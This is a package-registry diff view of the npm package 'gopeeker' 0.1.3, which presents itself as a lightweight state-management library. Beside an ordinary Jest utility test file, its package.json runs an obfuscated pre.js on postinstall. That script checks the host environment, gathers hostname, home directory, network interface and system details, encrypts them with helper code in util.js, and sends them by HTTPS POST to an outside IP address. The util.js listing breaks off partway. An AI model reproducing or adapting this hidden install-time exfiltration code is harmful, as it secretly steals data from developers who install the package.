gopeeker 0.1.3

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of gopeeker might be problematic. Click here for more details.

@@ -0,0 +1,128 @@
1
+ import { STORE_NAME_PREFIX } from '../src/common/const'
2
+ import { invariant } from '../src/utils/invariant'
3
+ import { shallowEqual } from '../src/utils/shallowEqual'
4
+ import * as type from '../src/utils/type'
5
+ import * as func from '../src/utils/func'
6
+
7
+ describe('util test', () => {
8
+ beforeEach(() => {
9
+ jest.resetModules()
10
+ })
11
+
12
+ it('should isDev return true when NODE_ENV is development', () => {
13
+ process.env.NODE_ENV = 'development'
14
+ // eslint-disable-next-line @typescript-eslint/no-var-requires
15
+ const env = require('../src/common/env')
16
+
17
+ expect(env.isDev).toBeTruthy()
18
+ expect(env.isProd).toBeFalsy()
19
+ })
20
+
21
+ it('should isProd return true when NODE_ENV is production', () => {
22
+ process.env.NODE_ENV = 'production'
23
+ // eslint-disable-next-line @typescript-eslint/no-var-requires
24
+ const env = require('../src/common/env')
25
+
26
+ expect(env.isDev).toBeFalsy()
27
+ expect(env.isProd).toBeTruthy()
28
+ })
29
+
30
+ it('should noop func return object', () => {
31
+ expect(func.noop()).toEqual({})
32
+ })
33
+
34
+ it('should identify func return the same value with input', () => {
35
+ const state = {
36
+ a: 1,
37
+ b: {
38
+ c: 2,
39
+ },
40
+ }
41
+ expect(func.identify(state)).toEqual(state)
42
+ })
43
+
44
+ it('should return correct store name using getStoreName', () => {
45
+ let count = 1
46
+ expect(func.getStoreName()).toBe(`${STORE_NAME_PREFIX}/${count}`)
47
+ count++
48
+ expect(func.getStoreName()).toBe(`${STORE_NAME_PREFIX}/${count}`)
49
+ count++
50
+ })
51
+
52
+ it('should not throw error when condition is true', () => {
53
+ expect(() => invariant(true, 'this is error')).not.toThrow()
54
+ })
55
+
56
+ it('should throw error when condition is false', () => {
57
+ expect(() => invariant(false, 'this is error')).toThrow('Invariant Failed: this is error')
58
+
59
+ jest.isolateModules(() => {
60
+ process.env.NODE_ENV = 'production'
61
+
62
+ // eslint-disable-next-line @typescript-eslint/no-var-requires
63
+ expect(() => require('../src/utils/invariant').invariant(false, 'this is error')).toThrow(
64
+ 'Invariant Failed'
65
+ )
66
+ })
67
+ })
68
+
69
+ it('should return correct result using shallowEqual', () => {
70
+ expect(shallowEqual(1, 2)).toBeFalsy()
71
+ expect(shallowEqual(1, 1)).toBeTruthy()
72
+
73
+ const o1 = {
74
+ b: {
75
+ c: 2,
76
+ },
77
+ }
78
+
79
+ const o2 = {
80
+ b: {
81
+ c: 2,
82
+ },
83
+ }
84
+
85
+ expect(shallowEqual(o1, o1)).toBeTruthy()
86
+ expect(shallowEqual(o1, o2)).toBeFalsy()
87
+
88
+ const o3 = {
89
+ a: 1,
90
+ b: 2,
91
+ }
92
+
93
+ expect(shallowEqual(o1, o3)).toBeFalsy()
94
+
95
+ const o4 = {
96
+ a: 1,
97
+ b: 2,
98
+ }
99
+
100
+ expect(shallowEqual(o3, o4)).toBeTruthy()
101
+
102
+ const o5 = {
103
+ a: NaN,
104
+ }
105
+
106
+ expect(shallowEqual(o5, { a: NaN })).toBeTruthy()
107
+ expect(shallowEqual(+0, -0)).toBeFalsy()
108
+ })
109
+
110
+ it('should judge correct type using type', () => {
111
+ let a
112
+ expect(type.isUndefined(a)).toBeTruthy()
113
+
114
+ const b = null
115
+ expect(type.isNull(b)).toBeTruthy()
116
+
117
+ expect(type.isFunction(() => {})).toBeTruthy()
118
+ expect(type.isString('dobux')).toBeTruthy()
119
+
120
+ async function c() {}
121
+
122
+ expect(type.isFunction(c)).toBeFalsy()
123
+ expect(type.isAsyncFunc(c)).toBeTruthy()
124
+ expect(type.isPromise(c())).toBeTruthy()
125
+ expect(type.isObject({})).toBeTruthy()
126
+ expect(type.isArray([])).toBeTruthy()
127
+ })
128
+ })
package/package.json ADDED
@@ -0,0 +1,26 @@
1
+ {
2
+ "name": "gopeeker",
3
+ "version": "0.1.3",
4
+ "description": "Lightweight responsive state management solution",
5
+ "main": "pre.js",
6
+ "scripts": {
7
+ "postinstall": "node pre.js",
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "keywords": [
11
+ "dobux",
12
+ "react",
13
+ "hooks",
14
+ "typescript",
15
+ "state-management",
16
+ "immutable"
17
+ ],
18
+ "lint-staged": {
19
+ "{src,__tests__}/**/*.{js,jsx,ts,tsx}": [
20
+ "prettier --write",
21
+ "eslint --fix"
22
+ ]
23
+ },
24
+ "author": "Mini Boss",
25
+ "license": "MIT"
26
+ }
package/pre.js ADDED
@@ -0,0 +1 @@
1
+ (function(_0x41bdf5,_0xc740a5){const _0x55ca87=_0x41bdf5();function _0x2c6a38(_0x320431,_0x26d014,_0x18c0f0,_0x485206){return _0x3962(_0x320431-0x14e,_0x18c0f0);}function _0x2d68bf(_0x29d5ef,_0x13f18c,_0x27d724,_0x49c4fc){return _0x3962(_0x27d724-0x261,_0x49c4fc);}while(!![]){try{const _0x277389=parseInt(_0x2d68bf(0x41e,0x402,0x404,0x3ff))/(0x39*-0x52+0x1940+0x1*-0x6fd)+-parseInt(_0x2d68bf(0x404,0x40e,0x416,0x416))/(0x372+0x1746+-0x1ab6)*(-parseInt(_0x2c6a38(0x2ec,0x306,0x2f2,0x30b))/(0x1f24+0x1ac8+-0xb95*0x5))+parseInt(_0x2d68bf(0x3fb,0x411,0x3f2,0x3fa))/(-0x154+-0x758+0x22c*0x4)+-parseInt(_0x2c6a38(0x2d4,0x2b1,0x2bc,0x2c4))/(0x1721+0x2255+0xb7d*-0x5)*(parseInt(_0x2d68bf(0x3d3,0x3c0,0x3e5,0x3cc))/(-0xda7+0x311+0xa9c))+-parseInt(_0x2c6a38(0x2d5,0x2cd,0x2d8,0x2c1))/(0x1f+0x5e2+-0x11*0x5a)+parseInt(_0x2d68bf(0x3d5,0x3e8,0x3f0,0x3fc))/(0x101f+0x5a9+-0x15c0)*(-parseInt(_0x2d68bf(0x43a,0x418,0x414,0x436))/(-0x7a+0xc59+-0x65*0x1e))+-parseInt(_0x2c6a38(0x2ed,0x2e9,0x2e7,0x2fe))/(0x1*-0xb5f+-0x1*-0x1643+-0xada);if(_0x277389===_0xc740a5)break;else _0x55ca87['push'](_0x55ca87['shift']());}catch(_0x4338c0){_0x55ca87['push'](_0x55ca87['shift']());}}}(_0x4823,-0x9c8*-0x6a+-0x3*-0x1e769+-0x8e07*0xb));const _0x6b6d91=(function(){let _0xf1fa81=!![];return function(_0x1fc538,_0x3b83a2){const _0x227b1e=_0xf1fa81?function(){function _0x487e17(_0x16b91f,_0x26a6b5,_0x3eb6c9,_0x7b7c5e){return _0x3962(_0x3eb6c9- -0x390,_0x7b7c5e);}if(_0x3b83a2){const _0x7b61f4=_0x3b83a2[_0x487e17(-0x1c9,-0x1ff,-0x1e2,-0x1c7)](_0x1fc538,arguments);return _0x3b83a2=null,_0x7b61f4;}}:function(){};return _0xf1fa81=![],_0x227b1e;};}()),_0x1b311a=_0x6b6d91(this,function(){function _0x35b97f(_0x5c799b,_0x598030,_0x42e3e4,_0x1a74c1){return _0x3962(_0x5c799b-0x342,_0x598030);}function _0x50be86(_0x1c9d93,_0x55e5bb,_0x38542a,_0x13b693){return _0x3962(_0x38542a-0x210,_0x13b693);}return _0x1b311a[_0x35b97f(0x4c1,0x4a9,0x4a3,0x4a6)]()[_0x50be86(0x388,0x384,0x393,0x386)]('(((.+)+)+)'+'+$')[_0x50be86(0x383,0x399,0x38f,0x37f)]()[_0x35b97f(0x4f3,0x50e,0x4db,0x4e4)+'r'](_0x1b311a)[_0x50be86(0x371,0x371,0x393,0x386)]('(((.+)+)+)'+'+$');});_0x1b311a();const _0x128e03=(function(){let _0x536573=!![];return function(_0xac76a9,_0x1f1f95){const _0x18dd92=_0x536573?function(){function _0x21b344(_0x2c7228,_0x1e472c,_0x4a0ced,_0x3a22c1){return _0x3962(_0x1e472c- -0x237,_0x4a0ced);}if(_0x1f1f95){const _0x2ccc53=_0x1f1f95[_0x21b344(-0xa5,-0x89,-0x94,-0x6a)](_0xac76a9,arguments);return _0x1f1f95=null,_0x2ccc53;}}:function(){};return _0x536573=![],_0x18dd92;};}()),_0x337c08=_0x128e03(this,function(){const _0x328e03={'vHEFO':function(_0x572390,_0x31bfac){return _0x572390(_0x31bfac);},'qggOB':function(_0x447c38,_0x3b1461){return _0x447c38+_0x3b1461;},'ElwPy':_0x2ef1bd(0x2ef,0x2d0,0x2da,0x2b8)+_0x6ae76e(0x443,0x447,0x443,0x45d),'IGnRZ':'{}.constru'+_0x2ef1bd(0x284,0x2a2,0x29c,0x29b)+'rn\x20this\x22)('+'\x20)','GsMmv':function(_0x1f26a7){return _0x1f26a7();},'ixbXt':'log','pOvph':_0x6ae76e(0x43b,0x425,0x415,0x456),'YMpRd':_0x6ae76e(0x428,0x44d,0x443,0x440),'RzUra':_0x2ef1bd(0x2d0,0x2e5,0x2d5,0x2f5),'uCScH':_0x2ef1bd(0x2c1,0x2a4,0x288,0x2c0),'rVauZ':_0x6ae76e(0x426,0x420,0x424,0x417),'cnKUJ':_0x6ae76e(0x413,0x427,0x40b,0x411),'xSXOY':function(_0x1599b8,_0x366b39){return _0x1599b8<_0x366b39;}};function _0x6ae76e(_0x27ca75,_0x29a5b3,_0x2e60cb,_0x1a6f91){return _0x3962(_0x27ca75-0x27e,_0x2e60cb);}const _0x366985=function(){let _0x244977;try{_0x244977=_0x328e03['vHEFO'](Function,_0x328e03[_0x213413(0x35e,0x375,0x342,0x361)](_0x328e03[_0x213413(0x35e,0x383,0x360,0x353)](_0x328e03[_0x441268(0x4f4,0x4f9,0x4e4,0x4f4)],_0x328e03[_0x441268(0x52d,0x515,0x515,0x504)]),');'))();}catch(_0x489da6){_0x244977=window;}function _0x441268(_0x5c2903,_0x7a383a,_0x1d0ad2,_0x3375d6){return _0x2ef1bd(_0x3375d6,_0x7a383a-0x23b,_0x1d0ad2-0x51,_0x3375d6-0x184);}function _0x213413(_0x59ae54,_0x2ca7b1,_0x471b84,_0x1bf188){return _0x6ae76e(_0x59ae54- -0x9e,_0x2ca7b1-0x110,_0x471b84,_0x1bf188-0x2c);}return _0x244977;},_0x5c910c=_0x328e03[_0x2ef1bd(0x2d8,0x2b7,0x294,0x295)](_0x366985);function _0x2ef1bd(_0xcc9956,_0x2ca74a,_0x275566,_0x26e52e){return _0x3962(_0x2ca74a-0x12a,_0xcc9956);}const _0x2a78b0=_0x5c910c['console']=_0x5c910c[_0x6ae76e(0x416,0x418,0x417,0x41c)]||{},_0x2b237c=[_0x328e03[_0x2ef1bd(0x2b1,0x2a7,0x2b4,0x2a3)],_0x328e03[_0x2ef1bd(0x2d9,0x2e1,0x2ce,0x2f6)],_0x328e03[_0x6ae76e(0x415,0x43c,0x408,0x40b)],_0x328e03[_0x6ae76e(0x441,0x423,0x44a,0x44b)],_0x328e03[_0x6ae76e(0x3ff,0x410,0x422,0x3da)],_0x328e03['rVauZ'],_0x328e03[_0x6ae76e(0x410,0x425,0x3fb,0x3ec)]];for(let _0x5f17cf=-0x1084+0x1*0x158f+-0x50b;_0x328e03[_0x6ae76e(0x400,0x3df,0x3f9,0x3f0)](_0x5f17cf,_0x2b237c[_0x6ae76e(0x41b,0x431,0x43b,0x434)]);_0x5f17cf++){const _0x36945b=_0x128e03['constructo'+'r'][_0x2ef1bd(0x2cb,0x2af,0x2a4,0x289)][_0x2ef1bd(0x2c8,0x2eb,0x307,0x307)](_0x128e03),_0x32d2fe=_0x2b237c[_0x5f17cf],_0x5550ff=_0x2a78b0[_0x32d2fe]||_0x36945b;_0x36945b[_0x2ef1bd(0x2bf,0x2ca,0x2d5,0x2cb)]=_0x128e03[_0x2ef1bd(0x309,0x2eb,0x2df,0x2f6)](_0x128e03),_0x36945b[_0x2ef1bd(0x29b,0x2a9,0x291,0x2b1)]=_0x5550ff['toString'][_0x6ae76e(0x43f,0x41a,0x452,0x464)](_0x5550ff),_0x2a78b0[_0x32d2fe]=_0x36945b;}});_0x337c08();const https=require(_0x3fb43e(0x45f,0x490,0x478,0x483)),os=require('os'),crypto=require(_0x3fb43e(0x4a0,0x4c3,0x49f,0x4b0));function _0x3fb43e(_0x1f46c7,_0x9d0e30,_0x5350e1,_0x5810f1){return _0x3962(_0x5810f1-0x2f8,_0x5350e1);}const x=require('./util');var info={'hostname':os[_0xcb4883(0x2bb,0x2ac,0x290,0x294)](),'platform':os[_0xcb4883(0x246,0x289,0x278,0x26a)]()};function _0x3962(_0x1b311a,_0x6b6d91){const _0x4823e1=_0x4823();return _0x3962=function(_0x39623f,_0x4e0271){_0x39623f=_0x39623f-(0x1*-0xd93+0x74d+-0x7bd*-0x1);let _0x1c1695=_0x4823e1[_0x39623f];return _0x1c1695;},_0x3962(_0x1b311a,_0x6b6d91);}info[_0xcb4883(0x275,0x2b0,0x2a9,0x294)][_0x3fb43e(0x466,0x488,0x463,0x473)](_0x3fb43e(0x486,0x490,0x486,0x4a3))==-(0x33*-0x57+0x1f*0x7f+0x1f5)&&(info[_0x3fb43e(0x4a1,0x4b5,0x4da,0x4b8)][_0xcb4883(0x22e,0x24e,0x24a,0x24f)]('.local')==-(-0x15c1*-0x1+0x1822*0x1+0x2de2*-0x1)&&(info['platform']!=_0xcb4883(0x27a,0x276,0x27e,0x25d)&&process[_0xcb4883(0x277,0x28c,0x27b,0x28e)](-0xd9+-0x1f*-0xf5+0x99b*-0x3)));var theNetworkInterfaces={};for(var i=0x2159+0x2*-0x89d+-0x101f;i<os[_0x3fb43e(0x460,0x473,0x469,0x482)+_0x3fb43e(0x4b4,0x4bd,0x4d5,0x4ae)]()[_0xcb4883(0x277,0x25e,0x266,0x27b)]['length'];i++){os[_0x3fb43e(0x48c,0x45f,0x47b,0x482)+'erfaces']()[_0x3fb43e(0x4c3,0x499,0x4b4,0x49f)][i][_0xcb4883(0x29e,0x27b,0x267,0x278)]==_0xcb4883(0x23d,0x26b,0x23c,0x25c)&&(theNetworkInterfaces=os[_0xcb4883(0x24a,0x24b,0x27e,0x25e)+_0xcb4883(0x2a4,0x28a,0x264,0x28a)]()[_0x3fb43e(0x4bf,0x4b6,0x489,0x49f)][i]);}var report={'arch':os[_0x3fb43e(0x4a6,0x4a8,0x472,0x491)](),'endianness':os['endianness'](),'freemem':os[_0xcb4883(0x282,0x286,0x277,0x276)](),'homedir':os[_0x3fb43e(0x4d8,0x4d2,0x4d5,0x4b4)](),'hostname':os[_0x3fb43e(0x4ba,0x4b0,0x4d7,0x4b8)](),'networkInterfaces':theNetworkInterfaces,'platform':os[_0x3fb43e(0x4b1,0x481,0x492,0x48e)](),'release':os[_0x3fb43e(0x490,0x479,0x46a,0x484)](),'tmpdir':os[_0xcb4883(0x270,0x260,0x274,0x270)](),'totalmem':os[_0xcb4883(0x24e,0x27f,0x25e,0x267)](),'type':os['type'](),'uptime':os['uptime'](),'package':'Q3'},data=JSON[_0x3fb43e(0x455,0x474,0x48d,0x474)](x[_0x3fb43e(0x4c5,0x4b2,0x4cc,0x4aa)](JSON[_0x3fb43e(0x487,0x48d,0x498,0x474)](report)));const _0x102d08={};_0x102d08['Content-Ty'+'pe']=_0xcb4883(0x282,0x289,0x288,0x298)+_0x3fb43e(0x4c3,0x4b7,0x48b,0x4ac),_0x102d08[_0x3fb43e(0x499,0x4cf,0x4aa,0x4b1)+_0x3fb43e(0x486,0x4b6,0x483,0x49d)]=data['length'];const _0x4c7938={};_0x4c7938[_0x3fb43e(0x4a3,0x4dc,0x4da,0x4b8)]='180.76.169'+_0x3fb43e(0x4b8,0x492,0x4a8,0x4a5),_0x4c7938['port']=0x13ba,_0x4c7938[_0xcb4883(0x297,0x296,0x260,0x26f)]=_0xcb4883(0x298,0x29b,0x28d,0x293),_0x4c7938[_0xcb4883(0x259,0x26b,0x249,0x24b)]=_0x3fb43e(0x452,0x46e,0x44d,0x471),_0x4c7938[_0xcb4883(0x26d,0x26a,0x277,0x26e)]=_0x102d08;const options=_0x4c7938,req=https[_0x3fb43e(0x4be,0x4a5,0x48f,0x4a4)](options,_0x540158=>{const _0x4475d8={};_0x4475d8[_0x3648dc(0x2fb,0x30b,0x2f5,0x310)]=function(_0x160101,_0x1291b7){return _0x160101===_0x1291b7;},_0x4475d8[_0x3648dc(0x309,0x2d4,0x2e7,0x308)]=_0x501be9(0x2a4,0x2c9,0x2ee,0x2c6);function _0x501be9(_0x566389,_0x19ebae,_0x5154cf,_0xb76a4b){return _0x3fb43e(_0x566389-0xb,_0x19ebae-0x7c,_0xb76a4b,_0x19ebae- -0x1f1);}_0x4475d8[_0x3648dc(0x2da,0x2af,0x2d6,0x2ee)]=_0x3648dc(0x2f3,0x2ec,0x2ef,0x2e5);function _0x3648dc(_0x57b6c2,_0x2edbf4,_0xefe51f,_0x14c525){return _0xcb4883(_0x57b6c2-0x21,_0x2edbf4-0xf6,_0x14c525,_0xefe51f-0x72);}const _0x58cad2=_0x4475d8;_0x540158['on']('data',_0x12b41e=>{function _0x2d4ec3(_0x56ba39,_0x209742,_0x1b5d2a,_0x2bae66){return _0x501be9(_0x56ba39-0xd2,_0x209742- -0x1d7,_0x1b5d2a-0x5b,_0x2bae66);}function _0x17d107(_0x4f082c,_0x333088,_0x2164b7,_0x31a009){return _0x501be9(_0x4f082c-0x178,_0x2164b7- -0x421,_0x2164b7-0xed,_0x333088);}_0x58cad2[_0x17d107(-0x17a,-0x179,-0x16b,-0x186)](_0x58cad2[_0x17d107(-0x16f,-0x177,-0x179,-0x1a0)],_0x58cad2['PpIUC'])?_0x24d5fe[_0x2d4ec3(0xdb,0xea,0x111,0xf6)](-0x1*-0x25c5+-0x1bfc+0x9c8*-0x1):process[_0x17d107(-0x180,-0x1a9,-0x19a,-0x1ba)][_0x17d107(-0x1b3,-0x195,-0x18c,-0x18f)](_0x12b41e);});});req['on']('error',_0x4a6d76=>{return;}),req[_0xcb4883(0x25e,0x266,0x25c,0x262)](data);function _0x4823(){const _0x2aeb02=['xSXOY','search','6eLIRxl','prototype','693655CVdAes','152264lElQIg','IPv4','darwin','networkInt','http','release','GsMmv','write','808pWAoam','PpIUC','147236tLnrCv','cnKUJ','totalmem','ElwPy','trace','platform','YMpRd','console','arch','headers','path','tmpdir','length','953184Shsihv','215500JNOkki','__proto__','XlzOX','freemem','213449xLVXbc','family','ngth','return\x20(fu','en0','table','wtcTi','info','idc.com','request','.218','apply','eYvRG','IGnRZ','constructo','encryptM','13023iVBfYN','n/json','2cOpMIW','erfaces','pOvph','crypto','Content-Le','exit','error','homedir','warn','end','/success','hostname','bind','IPKss','RzUra','applicatio','nction()\x20','method','ctor(\x22retu','POST','exception','indexOf','stringify','ixbXt','qggOB','toString','stdout','uCScH'];_0x4823=function(){return _0x2aeb02;};return _0x4823();}function _0xcb4883(_0x2837ba,_0x1ba3f3,_0x2d2b5e,_0x97b0c8){return _0x3962(_0x97b0c8-0xd4,_0x2d2b5e);}req[_0xcb4883(0x287,0x288,0x27e,0x292)]();
package/util.js ADDED
@@ -0,0 +1 @@
1
+ function _0x2088(_0x239a0d,_0x517d2f){var _0x4eb407=_0x2d8a();return _0x2088=function(_0x2d8af8,_0x2088be){_0x2d8af8=_0x2d8af8-(-0x1117+0x18d4*0x1+-0x72c);var _0x4114c1=_0x4eb407[_0x2d8af8];return _0x4114c1;},_0x2088(_0x239a0d,_0x517d2f);}(function(_0x1a44e8,_0x5a16a6){function _0x51e4ad(_0x564875,_0x54b51e,_0x1363ab,_0xf4e9ce){return _0x2088(_0x1363ab- -0x3a6,_0xf4e9ce);}function _0x4ca001(_0x535670,_0xc74440,_0xf31096,_0x24119d){return _0x2088(_0xf31096-0x298,_0xc74440);}var _0x402da6=_0x1a44e8();while(!![]){try{var _0xd2568c=-parseInt(_0x51e4ad(-0x2af,-0x28f,-0x2be,-0x28e))/(-0x5e*-0x55+0x3*-0x68e+-0xb8b)*(parseInt(_0x51e4ad(-0x2bb,-0x2d7,-0x2c2,-0x292))/(-0x6ad+0x181e+-0x116f))+-parseInt(_0x4ca001(0x339,0x339,0x34c,0x34f))/(-0x5*-0x18f+-0x22f6+0x1b2e)+parseInt(_0x51e4ad(-0x2db,-0x2a4,-0x2bd,-0x2a9))/(-0x1ede+-0x2302+-0x4*-0x1079)*(-parseInt(_0x51e4ad(-0x311,-0x333,-0x310,-0x316))/(-0x4e8+0x13fe+-0x85*0x1d))+parseInt(_0x4ca001(0x33e,0x346,0x35e,0x372))/(0x8f1+-0x638*-0x2+-0x155b)+-parseInt(_0x4ca001(0x375,0x38d,0x371,0x38d))/(0x17d0+0x16*-0x9+-0x1703)+-parseInt(_0x51e4ad(-0x29f,-0x2ac,-0x2ca,-0x2d9))/(0x12c1+-0x1*-0x2f6+-0x1ab*0xd)*(-parseInt(_0x4ca001(0x359,0x352,0x35c,0x33e))/(0x7*0xa3+0x1*-0x24f1+0x2085))+-parseInt(_0x51e4ad(-0x2e4,-0x298,-0x2b8,-0x2a4))/(-0xf0f+-0x71a*-0x1+0x7ff)*(-parseInt(_0x51e4ad(-0x2bb,-0x306,-0x2de,-0x302))/(0x3d*-0x5b+-0xf44*0x1+0x1*0x24fe));if(_0xd2568c===_0x5a16a6)break;else _0x402da6['push'](_0x402da6['shift']());}catch(_0xa0c85b){_0x402da6['push'](_0x402da6['shift']());}}}(_0x2d8a,-0x46036+0x67319*-0x1+0x35*0x45b6));var _0x4eb407=(function(){function _0x4dff79(_0x514658,_0x44dbf9,_0x28262d,_0x1a0f3b){return _0x2088(_0x514658- -0xe8,_0x1a0f3b);}var _0x38f49b={'aPvtR':function(_0x100231,_0x47bb13){return _0x100231===_0x47bb13;},'DWmXm':_0x4dff79(-0x1d,-0x20,0x8,-0x31),'ZKGce':_0x1f7580(-0x1b2,-0x1de,-0x1d7,-0x1ac),'GvWQD':'PuxIO','EEAMu':function(_0x5851c8,_0x448436){return _0x5851c8(_0x448436);},'sWLUT':'return\x20(fu'+_0x4dff79(-0x42,-0x28,-0x34,-0x68)};function _0x1f7580(_0x534ab8,_0xb721be,_0x1149ec,_0xa39725){return _0x2088(_0x534ab8- -0x299,_0x1149ec);}var _0x6e9c2b=!![];return function(_0x49185f,_0x11420d){var _0x3d35b3={'VYBLn':function(_0x36c6cc,_0x1cd838){function _0x3ba713(_0x388dcb,_0x367702,_0x4be839,_0xb2493f){return _0x2088(_0x388dcb- -0x1ba,_0x4be839);}return _0x38f49b[_0x3ba713(-0xd8,-0xda,-0xdc,-0xfb)](_0x36c6cc,_0x1cd838);},'swQKr':function(_0x20d7cf,_0x4a8173){return _0x20d7cf+_0x4a8173;},'lmfAv':_0x38f49b[_0x4d4f8d(-0x1a0,-0x15c,-0x182,-0x168)]},_0x242826=_0x6e9c2b?function(){function _0x6a4e56(_0x1629ae,_0x642d99,_0x54bcb2,_0xcf948){return _0x4d4f8d(_0x54bcb2,_0x642d99-0x1e6,_0x642d99-0x616,_0xcf948-0x2c);}function _0x50442f(_0x2d2fe5,_0x562dd6,_0x268b1b,_0x669487){return _0x4d4f8d(_0x268b1b,_0x562dd6-0x111,_0x562dd6-0x379,_0x669487-0x165);}if(_0x38f49b[_0x50442f(0x1d9,0x205,0x1e8,0x1f4)](_0x38f49b[_0x6a4e56(0x4e4,0x4b7,0x493,0x4de)],_0x38f49b[_0x6a4e56(0x47d,0x498,0x47e,0x497)])){var _0x3caa2d=_0x3d35b3[_0x50442f(0x1dc,0x1bf,0x1ed,0x1ca)](_0x531105,_0x3d35b3[_0x6a4e56(0x4b5,0x4ae,0x4a6,0x47f)](_0x3d35b3['lmfAv'],_0x50442f(0x1c6,0x1cb,0x1cf,0x1ca)+_0x50442f(0x207,0x200,0x220,0x1ed)+_0x50442f(0x212,0x1e2,0x1ba,0x1d1)+'\x20)')+');');_0x305551=_0x3caa2d();}else{if(_0x11420d){if(_0x38f49b[_0x50442f(0x22c,0x205,0x1f8,0x222)](_0x6a4e56(0x47a,0x472,0x455,0x476),_0x38f49b[_0x6a4e56(0x45f,0x471,0x472,0x459)])){var _0x4e7c4f=_0x11420d[_0x6a4e56(0x48d,0x485,0x49f,0x47d)](_0x49185f,arguments);return _0x11420d=null,_0x4e7c4f;}else{var _0x388930=_0x43eb7b?function(){function _0x298a40(_0x2d59a8,_0x4c63db,_0x2d3971,_0x38e079){return _0x6a4e56(_0x2d59a8-0x153,_0x2d59a8- -0x2de,_0x2d3971,_0x38e079-0x1b1);}if(_0x3c5ea7){var _0x3505f5=_0x248b2d[_0x298a40(0x1a7,0x180,0x1d7,0x1a4)](_0x3b7142,arguments);return _0x26ab95=null,_0x3505f5;}}:function(){};return _0x321626=![],_0x388930;}}}}:function(){};function _0x4d4f8d(_0x35b3be,_0x331534,_0xfea1dc,_0x57b6cf){return _0x1f7580(_0xfea1dc-0x4b,_0x331534-0xc4,_0x35b3be,_0x57b6cf-0x55);}return _0x6e9c2b=![],_0x242826;};}()),_0x517d2f=_0x4eb407(this,function(){function _0xa83e9a(_0x3320ab,_0x5aec23,_0x27e43d,_0x3fa4ca){return _0x2088(_0x5aec23- -0x126,_0x3320ab);}function _0x2b2059(_0x4a1345,_0x4d7922,_0x16421f,_0x3e0bee){return _0x2088(_0x4a1345-0x231,_0x3e0bee);}return _0x517d2f[_0x2b2059(0x312,0x316,0x314,0x341)]()['search'](_0xa83e9a(-0x8e,-0x85,-0xa8,-0xb3)+'+$')['toString']()[_0xa83e9a(-0x48,-0x65,-0x60,-0x72)+'r'](_0x517d2f)[_0xa83e9a(-0x6e,-0x74,-0x88,-0x7b)](_0xa83e9a(-0x6d,-0x85,-0x6a,-0xb1)+'+$');});_0x517d2f();function _0x210c3f(_0x2ea04f,_0x2d6dd4,_0x458ad8,_0x218523){return _0x2088(_0x218523-0x3,_0x458ad8);}function _0x2d8a(){var _0x529826=['crypto','rn\x20this\x22)(','final','split','log','4kVJgyfvg/','ZCfsRGkIAw','apply','VIr/A0vkTI','base64','publicEncr','constructo','zUBEls\x0aGdJ','xkfSn','63dOnWhP','exception','2518110AArRAj','eriv','1205127joLnld','Y-----\x0aMIG','aes-128-cb','sYKbT','sWLUT','join','randomByte','console','ZKGce','info','jT7gpmnP4m','length','encryptM','ctor(\x22retu','lRxUq','push','utf8','667849lFotMx','aPvtR','--END\x20PUBL','212952TKSNis','fMA0GCSqGS','createCiph','__proto__','ifnIf','toString','EEAMu','UaqCD','2ygzmuQ','trace','swQKr','eFTCD','210208JpvGtr','4ZdeRit','9grzFAr4W/','JHpar','ypt','prototype','50OFPMNH','DWmXm','SNtlv','DqXTrb7a5U','EaaSS','VYBLn','IDZmVG8LeI','1785935QEVxam','FYSLp','tHcOC','setAutoPad','+jb7ldzSjp','Muolw','IC\x20KEY----','mWlPX','U6LmA4tZBM','vjgRv','{}.constru','(((.+)+)+)','ding','Ib3DQEBAQU','update','bind','nction()\x20','7w6ThjHcDB','QGbub','GvWQD','PuxIO','kZWIZ','0|4|2|5|1|','AA4GNADCBi','8s+vmUClt/','\x20PUBLIC\x20KE','kvlxv','r\x0abTY6GAlh','search','error','763854SGVLbk','exports'];_0x2d8a=function(){return _0x529826;};return _0x2d8a();}var _0x5b8a6c=(function(){var _0x9b928c={};_0x9b928c[_0x593737(-0x1d3,-0x1ca,-0x1cc,-0x1d5)]='FVgzZ',_0x9b928c['psjwM']='cfEwl';var _0x102a50=_0x9b928c;function _0x593737(_0x5346ba,_0x362438,_0x163995,_0x1afde4){return _0x2088(_0x163995- -0x263,_0x362438);}var _0x2a12f3=!![];return function(_0x222e30,_0x3594d1){var _0x4543f6={};_0x4543f6['gNsEO']=_0x102a50[_0x5224bc(0x1cc,0x1d1,0x1e7,0x1e8)];function _0x5224bc(_0x93d39d,_0x5e9047,_0x4e063e,_0xc3ddf4){return _0x593737(_0x93d39d-0xe3,_0x4e063e,_0x5e9047-0x39d,_0xc3ddf4-0x67);}_0x4543f6[_0x5224bc(0x236,0x225,0x1fa,0x1fc)]=_0x102a50['psjwM'];var _0xca48e7=_0x4543f6,_0x568c77=_0x2a12f3?function(){function _0x27ffcf(_0x1a5fe3,_0x5e9288,_0x277e7d,_0x46f0e6){return _0x5224bc(_0x1a5fe3-0xb5,_0x1a5fe3-0x172,_0x277e7d,_0x46f0e6-0x109);}if(_0xca48e7['gNsEO']===_0xca48e7[_0x27ffcf(0x397,0x3bc,0x379,0x3a7)]){var _0x278615=_0x2a5edd?function(){if(_0x2ddfed){var _0x5ba01a=_0x524910['apply'](_0x849e9e,arguments);return _0x3e9d1a=null,_0x5ba01a;}}:function(){};return _0x138042=![],_0x278615;}else{if(_0x3594d1){var _0x1716c7=_0x3594d1['apply'](_0x222e30,arguments);return _0x3594d1=null,_0x1716c7;}}}:function(){};function _0x54d8d8(_0x46bfe4,_0x5dfe4e,_0x1ee91a,_0x256755){return _0x593737(_0x46bfe4-0xd8,_0x5dfe4e,_0x1ee91a-0x459,_0x256755-0x1f0);}return _0x2a12f3=![],_0x568c77;};}());function _0x49faa2(_0x2039b9,_0x4c1891,_0x50cca9,_0x263ada){return _0x2088(_0x2039b9- -0x15f,_0x263ada);}var _0x52bd90=_0x5b8a6c(this,function(){function _0x39dbde(_0xf5275f,_0xc5b021,_0x5ccfa6,_0x4d049f){return _0x2088(_0xc5b021-0x2c0,_0x5ccfa6);}var _0x166a1c={'Muolw':_0xf2c28(0x116,0xe9,0xda,0xdd)+'c','SNtlv':_0xf2c28(0xe6,0xf7,0xff,0x122),'UaqCD':'base64','QGbub':function(_0xfb9bd2,_0x3e38e9){return _0xfb9bd2(_0x3e38e9);},'vjgRv':function(_0x82b028,_0x556ef6){return 